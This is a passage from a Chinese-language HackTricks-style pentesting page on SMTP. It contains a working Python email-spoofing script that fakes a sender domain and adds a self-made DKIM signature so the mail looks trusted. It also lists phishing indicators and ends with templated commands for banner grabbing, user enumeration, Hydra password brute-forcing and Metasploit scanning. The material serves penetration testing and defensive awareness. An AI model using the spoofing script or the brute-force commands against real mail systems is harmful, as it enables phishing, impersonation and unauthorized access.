{% endtab %}
{% tab title="Python" %}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
This is a test, not a scam
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
### 更多信息
**在** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **找到关于这些保护措施的更多信息**
### 其他钓鱼指标
- 域名的年龄
- 指向IP地址的链接
- 链接操纵技术
- 可疑（不常见）附件
- 邮件内容损坏
- 使用与邮件头部不同的值
- 存在有效且受信任的SSL证书
- 将页面提交给网页内容过滤站点
## 通过SMTP进行数据泄露
**如果可以通过SMTP发送数据**，[**阅读此内容**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**。**
## 配置文件
### Postfix
通常，如果安装了Postfix，在`/etc/postfix/master.cf`中包含**在用户收到新邮件时执行的脚本**。例如，`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` 这一行意味着如果用户mark收到新邮件，将执行`/etc/postfix/filtering`。
其他配置文件：
```
sendmail.cf
submit.cf
```
## 参考资料
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)
## HackTricks 自动命令
```
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
```
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